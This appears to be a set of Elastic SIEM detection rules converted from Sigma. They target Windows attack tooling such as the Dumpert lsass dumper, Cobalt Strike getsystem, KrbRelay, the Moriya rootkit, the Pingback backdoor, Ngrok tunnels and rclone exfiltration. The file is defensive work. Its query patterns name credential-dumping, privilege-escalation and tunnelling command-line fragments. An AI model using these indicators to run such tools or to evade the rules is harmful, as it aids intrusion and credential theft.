{"description": "Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory", "enabled": false, "false_positives": ["Very unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3328579f-5291-a2c4-ff38-80fd668eb7bc", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Dumpert Process Dumper", "query": "file.path.text:\"C\\:\\\\Windows\\\\Temp\\\\dumpert.dmp\"", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory", "enabled": false, "false_positives": ["Very unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3328579f-5291-a2c4-ff38-80fd668eb7bc", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Dumpert Process Dumper", "query": "winlog.event_data.Hashes:*09D278F9DE118EF09163C6140255C690*", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of Fast Reverse Proxy. frp is a fast reverse proxy to help you expose a local server behind a NAT or firewall to the Internet.", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "dbef36a5-430b-e2be-16eb-eb7fa350ebb2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Fast Reverse Proxy (FRP)", "query": "(process.executable.text:(*\\\\frpc.exe OR *\\\\frps.exe) AND process.command_line.text:*\\\\frpc.ini*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1090"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the use of Get-AdGroup to enumerate Groups within Active Directory", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fc6d0435-824b-f9f7-913e-3c30f6f83ff1", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Enumerate Active Directory Groups with Get-AdComputer", "query": "(powershell.file.script_block_text:*Get\\-AdGroup\\ * AND powershell.file.script_block_text:*\\-Filter*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1069"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", "enabled": false, "false_positives": ["Highly unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f2ef6ac5-11f4-091f-6e6a-3870a3c7d415", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Meterpreter or Cobalt Strike Getsystem Service Installation", "query": "((winlog.event_data.ImagePath:*cmd* AND winlog.event_data.ImagePath:*\\/c* AND winlog.event_data.ImagePath:*echo* AND winlog.event_data.ImagePath:*\\\\pipe\\\\*) OR (winlog.event_data.ImagePath:*%COMSPEC%* AND winlog.event_data.ImagePath:*\\/c* AND winlog.event_data.ImagePath:*echo* AND winlog.event_data.ImagePath:*\\\\pipe\\\\*) OR (winlog.event_data.ImagePath:*cmd.exe* AND winlog.event_data.ImagePath:*\\/c* AND winlog.event_data.ImagePath:*echo* AND winlog.event_data.ImagePath:*\\\\pipe\\\\*) OR (winlog.event_data.ImagePath:*rundll32* AND winlog.event_data.ImagePath:*.dll,a* AND winlog.event_data.ImagePath:*\\/p\\:*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation", "T1134", "T1134"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1134", "name": "Access Token Manipulation", "reference": ""}, {"id": "T1134", "name": "Access Token Manipulation", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov", "Ecco", "Florian Roth"], "license": ""}
{"description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", "enabled": false, "false_positives": ["Highly unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f2ef6ac5-11f4-091f-6e6a-3870a3c7d415", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Meterpreter or Cobalt Strike Getsystem Service Installation", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND ((winlog.event_data.ServiceFileName:*cmd* AND winlog.event_data.ServiceFileName:*\\/c* AND winlog.event_data.ServiceFileName:*echo* AND winlog.event_data.ServiceFileName:*\\\\pipe\\\\*) OR (winlog.event_data.ServiceFileName:*%COMSPEC%* AND winlog.event_data.ServiceFileName:*\\/c* AND winlog.event_data.ServiceFileName:*echo* AND winlog.event_data.ServiceFileName:*\\\\pipe\\\\*) OR (winlog.event_data.ServiceFileName:*cmd.exe* AND winlog.event_data.ServiceFileName:*\\/c* AND winlog.event_data.ServiceFileName:*echo* AND winlog.event_data.ServiceFileName:*\\\\pipe\\\\*) OR (winlog.event_data.ServiceFileName:*rundll32* AND winlog.event_data.ServiceFileName:*.dll,a* AND winlog.event_data.ServiceFileName:*\\/p\\:*)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation", "T1134", "T1134"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1134", "name": "Access Token Manipulation", "reference": ""}, {"id": "T1134", "name": "Access Token Manipulation", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov", "Ecco", "Florian Roth"], "license": ""}
{"description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service starting", "enabled": false, "false_positives": ["Commandlines containing components like cmd accidentally", "Jobs and services started with cmd"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1d50e3f1-26de-a663-481c-5f99a4c35c97", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Meterpreter or Cobalt Strike Getsystem Service Start", "query": "((process.parent.executable.text:*\\\\services.exe AND ((process.command_line.text:*cmd* AND process.command_line.text:*\\/c* AND process.command_line.text:*echo* AND process.command_line.text:*\\\\pipe\\\\*) OR (process.command_line.text:*%COMSPEC%* AND process.command_line.text:*\\/c* AND process.command_line.text:*echo* AND process.command_line.text:*\\\\pipe\\\\*) OR (process.command_line.text:*cmd.exe* AND process.command_line.text:*\\/c* AND process.command_line.text:*echo* AND process.command_line.text:*\\\\pipe\\\\*) OR (process.command_line.text:*rundll32* AND process.command_line.text:*.dll,a* AND process.command_line.text:*\\/p\\:*))) AND (NOT (process.command_line.text:*MpCmdRun*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1134", "T1134"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1134", "name": "Access Token Manipulation", "reference": ""}, {"id": "T1134", "name": "Access Token Manipulation", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov", "Ecco", "Florian Roth"], "license": ""}
{"description": "Detects the use of KrbRelay, a Kerberos relaying tool", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f662b865-7ac5-1f17-7e49-d89184b1dbcd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "KrbRelay Hack Tool", "query": "(process.executable:*\\\\KrbRelay.exe OR OriginalFilename:\"KrbRelay.exe\" OR (process.command_line:*\\ \\-spn\\ * AND process.command_line:*\\ \\-clsid\\ * AND process.command_line:*\\ \\-rbcd\\ *) OR (process.command_line:*shadowcred* AND process.command_line:*clsid* AND process.command_line:*spn*) OR (process.command_line:*spn\\ * AND process.command_line:*session\\ * AND process.command_line:*clsid\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1558"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1558", "name": "Steal or Forge Kerberos Tickets", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3ac94590-cf84-b43c-148b-8d2055053000", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Moriya Rootkit", "query": "file.path.text:\"C\\:\\\\Windows\\\\System32\\\\drivers\\\\MoriyaStreamWatchmen.sys\"", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3ac94590-cf84-b43c-148b-8d2055053000", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Moriya Rootkit", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ServiceName:\"ZzNetSvc\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects the use of Ngrok, a utility used for port forwarding and tunneling, often used by threat actors to make local protected services publicly available. Involved domains are bin.equinox.io for download and *.ngrok.io for connections.", "enabled": false, "false_positives": ["Another tool that uses the command line switches of Ngrok", "Ngrok http 3978 ()"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9945ecff-18f9-b5dc-6501-3397b0b81b07", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Ngrok Usage", "query": "(process.command_line.text:(*\\ tcp\\ 139* OR *\\ tcp\\ 445* OR *\\ tcp\\ 3389* OR *\\ tcp\\ 5985* OR *\\ tcp\\ 5986*) OR (process.command_line.text:*\\ start\\ * AND process.command_line.text:*\\-\\-all* AND process.command_line.text:*\\-\\-config* AND process.command_line.text:*.yml*) OR (process.executable.text:*ngrok.exe AND process.command_line.text:(*\\ tcp\\ * OR *\\ http\\ * OR *\\ authtoken\\ *)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1572"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", "."], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of NirCmd tool for command execution as SYSTEM user", "enabled": false, "false_positives": ["Legitimate use by administrators"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "99ac862b-3d9f-d069-62c5-df9044f2b79d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "NirCmd Tool Execution As LOCAL SYSTEM", "query": "process.command_line:*\\ runassystem\\ *", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Nasreddine Bencherchali @nas_bench"], "license": ""}
{"description": "Detects the use of NirCmd tool for command execution, which could be the result of legitimate administrative activity", "enabled": false, "false_positives": ["Legitimate use by administrators"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cc096533-260c-18ce-4a97-eb553886200c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "NirCmd Tool Execution", "query": "((winlog.event_data.OriginalFileName:\"NirCmd.exe\" OR process.command_line:(*\\ execmd\\ * OR *.exe\\ script\\ * OR *.exe\\ shexec\\ * OR *\\ runinteractive\\ *)) OR (process.command_line:(*\\ exec\\ * OR *\\ exec2\\ *) AND process.command_line:(*\\ show\\ * OR *\\ hide\\ *)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Nasreddine Bencherchali @nas_bench"], "license": ""}
{"description": "Detects the use of NPPSpy hacktool that stores cleartext passwords of users that logged in to a local file", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f701a0fd-e755-a65f-58b5-668df3ebfb01", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "NPPSpy Hacktool Usage", "query": "file.path:(*\\\\NPPSpy.txt OR *\\\\NPPSpy.dll)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of NSudo tool for command execution", "enabled": false, "false_positives": ["Legitimate use by administrators"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "62c15ed6-c61d-1f18-7ecd-9f5788db1404", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "NSudo Tool Execution As System", "query": "(process.executable:*\\\\NSudo.exe AND process.command_line:*\\ \\-U\\:S\\ *)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of NSudo tool for command execution", "enabled": false, "false_positives": ["Legitimate use by administrators"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e4b529e3-b756-977a-3e5d-256615928896", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "NSudo Tool Execution", "query": "((process.executable:(*\\\\NSudo.exe OR *\\\\NSudoLC.exe OR *\\\\NSudoLG.exe) OR winlog.event_data.OriginalFileName:(\"NSudo.exe\" OR \"NSudoLC.exe\" OR \"NSudoLG.exe\")) AND process.command_line:(*\\-U\\:S\\ * OR *\\-U\\:T\\ * OR *\\-U\\:E\\ * OR *\\-P\\:E\\ * OR *\\-M\\:S\\ * OR *\\-M\\:H\\ * OR *\\-U\\=S\\ * OR *\\-U\\=T\\ * OR *\\-U\\=E\\ * OR *\\-P\\=E\\ * OR *\\-M\\=S\\ * OR *\\-M\\=H\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the use of parent process ID spoofing tools like Didier Stevens tool SelectMyParent", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "08bdf691-12c5-1214-4aa1-0593e1f12e0a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PPID Spoofing Tool Usage", "query": "(process.executable:*\\\\SelectMyParent.exe OR process.command_line:(*PPID\\-spoof* OR *ppid_spoof* OR *spoof\\-ppid* OR *spoof_ppid* OR *ppidspoof* OR *spoofppid* OR *spoofedppid* OR *\\ \\-spawnto\\ *) OR winlog.event_data.OriginalFileName:(*PPID\\-spoof* OR *ppid_spoof* OR *spoof\\-ppid* OR *spoof_ppid* OR *ppidspoof* OR *spoofppid* OR *spoofedppid*) OR winlog.event_data.Description:\"SelectMyParent\" OR winlog.event_data.Imphash:(\"04d974875bd225f00902b4cad9af3fbc\" OR \"a782af154c9e743ddf3f3eb2b8f3d16e\" OR \"89059503d7fbf470e68f7e63313da3ad\" OR \"ca28337632625c8281ab8a130b3d6bad\") OR winlog.event_data.Hashes:(*IMPHASH\\=04D974875BD225F00902B4CAD9AF3FBC* OR *IMPHASH\\=A782AF154C9E743DDF3F3EB2B8F3D16E* OR *IMPHASH\\=89059503D7FBF470E68F7E63313DA3AD* OR *IMPHASH\\=CA28337632625C8281AB8A130B3D6BAD*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1134"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1134", "name": "Access Token Manipulation", "reference": ""}]}], "version": 1, "references": ["", "", "", "*spoof*%2520filename%253A*ppid*/files"], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", "enabled": false, "false_positives": ["Very unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "49f208eb-37f6-fee6-f6d2-ee5b86e04797", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Pingback Backdoor", "query": "(process.executable.text:*updata.exe AND file.path.text:\"C\\:\\\\Windows\\\\oci.dll\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", "enabled": false, "false_positives": ["Very unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "49f208eb-37f6-fee6-f6d2-ee5b86e04797", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Pingback Backdoor", "query": "(process.executable:*msdtc.exe AND file.path:\"C\\:\\\\Windows\\\\oci.dll\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", "enabled": false, "false_positives": ["Very unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "49f208eb-37f6-fee6-f6d2-ee5b86e04797", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Pingback Backdoor", "query": "(process.parent.executable.text:*updata.exe AND process.command_line.text:*config* AND process.command_line.text:*msdtc* AND process.command_line.text:*start* AND process.command_line.text:*auto*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects the use of PowerShell to identify the current logged user.", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3fe1902a-4bf9-e1fb-d9c1-7aef9aa68bdb", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious PowerShell Get Current User", "query": "powershell.file.script_block_text:(*\\[System.Environment\\]\\:\\:UserName* OR *$env\\:UserName* OR *\\[System.Security.Principal.WindowsIdentity\\]\\:\\:GetCurrent\$\$*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1033"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1033", "name": "System Owner/User Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the use of PSAttack PowerShell hack tool", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "923e16d7-2f15-5235-e38a-dbd6b274af90", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PowerShell PSAttack", "query": "powershell.file.script_block_text:*PS\\ ATTACK\\!\\!\\!*", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sean Metcalf (source)", "Florian Roth (rule)"], "license": ""}
{"description": "Detects the use of rclone, a command-line program to manage files on cloud storage, via its default user-agent string", "enabled": false, "false_positives": ["Valid requests with this exact user agent to that is used by legitimate scripts or sysadmin operations"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "d57d0b30-77a5-4215-0deb-779d6947c831", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Rclone Activity via Proxy", "query": "user_agent.original:rclone\\/v*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1567"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1567", "name": "Exfiltration Over Web Service", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Janantha Marasinghe"], "license": ""}
{"description": "Detects the use of Replace.exe which can be used to replace file with another file", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "14e34433-b818-b0df-416e-5ce732dd85fa", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Replace.exe Usage", "query": "(process.executable:*\\\\replace.exe AND process.command_line:*\\/a*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the use of Replace.exe which can be used to replace file with another file", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "14e34433-b818-b0df-416e-5ce732dd85fa", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Replace.exe Usage", "query": "(process.executable:*\\\\replace.exe AND process.command_line:(*\\/a* OR *\\-a*))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the use of RunXCmd tool for command execution", "enabled": false, "false_positives": ["Legitimate use by administrators"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4397b923-a34f-ea03-48a8-2c2604ee4cf8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "RunXCmd Tool Execution As System", "query": "(process.command_line:*\\ \\/account\\=system\\ * AND process.command_line:*\\/exec\\=*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of SDelete to erase a file not the free space", "enabled": false, "false_positives": ["System administrator usage"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "dc4e889e-0630-75da-c5cd-bddd26e0f678", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Sysinternals SDelete Delete File", "query": "(winlog.event_data.OriginalFileName:\"sdelete.exe\" AND (NOT (process.command_line.text:(*\\ \\-h* OR *\\ \\-c* OR *\\ \\-z* OR *\\ \\/\\?*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1485"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1485", "name": "Data Destruction", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the use of SharpEvtHook, a tool to tamper with Windows event logs", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a74067ec-6fe0-6244-3758-1e4971be5449", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "SharpEvtMute EvtMuteHook Load", "query": "(process.executable.text:*\\\\SharpEvtMute.exe OR winlog.event_data.Description:\"SharpEvtMute\" OR process.command_line.text:(*\\-\\-Filter\\ \\\"rule\\ * OR *\\-\\-Encoded\\ \\-\\-Filter\\ \\\\\\\"*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of SharpUp, a tool for local privilege escalation", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0d93a1e8-4ff4-48f9-05bd-808ede96c016", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "SharpUp PrivEsc Tool", "query": "(process.executable.text:*\\\\SharpUp.exe OR winlog.event_data.Description:\"SharpUp\" OR process.command_line.text:(*HijackablePaths* OR *UnquotedServicePath* OR *ProcessDLLHijack* OR *ModifiableServiceBinaries* OR *ModifiableScheduledTask* OR *DomainGPPPassword*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation", "T1569", "T1574", "T1615"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
